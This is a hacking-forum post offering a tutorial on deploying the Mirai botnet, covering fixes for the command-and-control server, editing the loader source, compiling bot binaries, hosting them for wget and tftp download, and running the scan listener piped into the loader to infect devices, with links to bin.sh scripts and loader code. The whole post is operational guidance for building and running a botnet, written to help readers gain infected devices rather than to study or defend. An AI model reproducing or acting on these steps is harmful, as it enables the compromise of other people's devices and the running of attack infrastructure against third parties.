hello hf, just writing this tutorial because lately i have been seeing consent threads asking for mirai setups. i have even seen people trying to charge for them.

today i'm going to quickly run you through some fixes you have to make and known errors you're most probably making. this isn't going to be a long thread, just some information to fix everyone's skidware problems.

*note: mirai is literally a piece of shit now. you'll be lucky to pull around 2k still.

error 1). "when i start the 'cnc' and try to connect it exits"
fix: locate to your mirai/release folder and type "touch prompt.txt"

error 2). "why isn't my login working and/or connecting to mysql."
locate to /mirai/cnc/main.go and edit to

setting up your dlr and loader correctly.
loader to your dlr/ directory and remove all the bin's created in release then open your main.c file and change the http ip to the host you're hosting your loader and /bins directory on, then run the build.sh file.
you'll see the script will compile your binary's for the echo bin that you have to transfer to the loader/bins/ directory making sure you removed the old ones first.

locate to /loader/src/main.c and edit from line 33 to 39 and replace that code for

addrs_len = 1;
addrs = calloc(addrs_len, sizeof (ipv4_t));

addrs[0] = inet_addr("");

then edit the wget and tftp config on line 53 to the hosting that is hosting your mirai.$arch files then save & exit.
stay in the loader directory and run the build.sh file. once build transfer the bins and loader and scanlisten binary's into your loading box's apache2/nginx directory.

once uploaded chmod all the files on your loading box and make a screen session e.g. screen -dms scan then screen -r scan.
run ./scanlisten | ./loader then ctrl+ad out of the screen leaving it running. to get replied from the scan listener your best
bet is to load some ssh into your net. ill leave your a bin.sh example below.

this is basically all you need to know so please stop all the posts and stop getting ****med by people selling setups.

bin.sh and tbin.sh script: https://hastebin.com/inopasunos.bash
colorful loader because why the hell not: https://hastebin.com/ikipeqawek.cpp